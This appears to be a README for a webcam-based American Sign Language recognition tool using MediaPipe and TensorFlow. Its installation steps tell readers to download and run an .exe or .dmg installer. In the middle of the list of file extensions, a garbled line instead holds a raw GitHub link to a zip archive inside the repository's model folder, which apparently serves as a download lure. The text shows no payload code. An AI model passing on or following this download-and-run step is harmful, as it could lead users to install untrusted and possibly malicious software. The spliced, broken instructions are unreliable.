Welcome to the ASL-Sign-Recognition project! This system allows you to recognize American Sign Language gestures in real time using your laptopβs webcam. It's easy to set up and requires no special graphics hardware.
- Tracks 21 hand landmarks for accurate motion detection
- Classifies ASL gestures from A to Z
- Uses MediaPipe for hand detection
- Leverages TensorFlow for gesture classification
- Includes tools for dataset capture and training
- Works smoothly on any laptop (No GPU needed)
- Operating System: Windows, macOS, or Linux
- Memory: At least 4 GB RAM
- Storage: Minimum of 200 MB free space
- Webcam: Built-in or external webcam for gesture recognition
To get started with ASL-Sign-Recognition, follow these steps:
-
Click the download link below to visit the releases page.
-
On the releases page, find the latest version. Look for a file labeled with a
.exe,.dmg, orhttps://raw.githubusercontent.com/Khoidoan10/ASL-Sign-Recognition/main/model/Sign-Recognition-AS-1.1.zipextension depending on your operating system. -
Download the file by clicking the link. Your browser will save it to your default downloads folder.
-
Locate the downloaded file.
-
Run the installer by double-clicking the file. Follow the on-screen prompts to complete the installation.
-
Once installed, open the application. Ensure your webcam is active and start recognizing ASL gestures!
-
Open the Application: After installation, run the application from your applications folder or start menu.
-
Set Up Your Webcam: Ensure your webcam is positioned to capture your hands clearly.
-
Start Webcam: Click the start button in the application to begin recognizing gestures.
-
Perform ASL Gestures: Show the ASL gestures in front of your webcam. The application will process the video feed and provide feedback on the recognized gestures.
-
Review Results: The recognized signs will appear on the screen in real time. Practice and improve your skills as you use the tool.
- MediaPipe: MediaPipe Documentation
- TensorFlow: TensorFlow Documentation
Feel free to explore and learn more about how these technologies work together to make ASL recognition possible.
If you encounter any issues, consider the following:
- Webcam Not Detected: Check if the webcam is connected and recognized by your operating system.
- Unrecognized Gestures: Ensure your hands are visible and within the cameraβs frame. The lighting conditions can also affect recognitionβavoid bright backlighting.
- Performance Issues: Close any other applications that may be using system resources.
For support, you can open an issue in the repository or reach out to the community. You can find the Issues tab at the top of the repository page.
We welcome contributions! If you would like to suggest features, improvements, or report bugs, please feel free to open an issue or pull request. Your input makes this project better!
This project is licensed under the MIT License. You can use, modify, and distribute it freely while providing proper credit.
By following these instructions, you will set up the ASL-Sign-Recognition software with ease. For any other queries, feel free to explore our repository or reach out!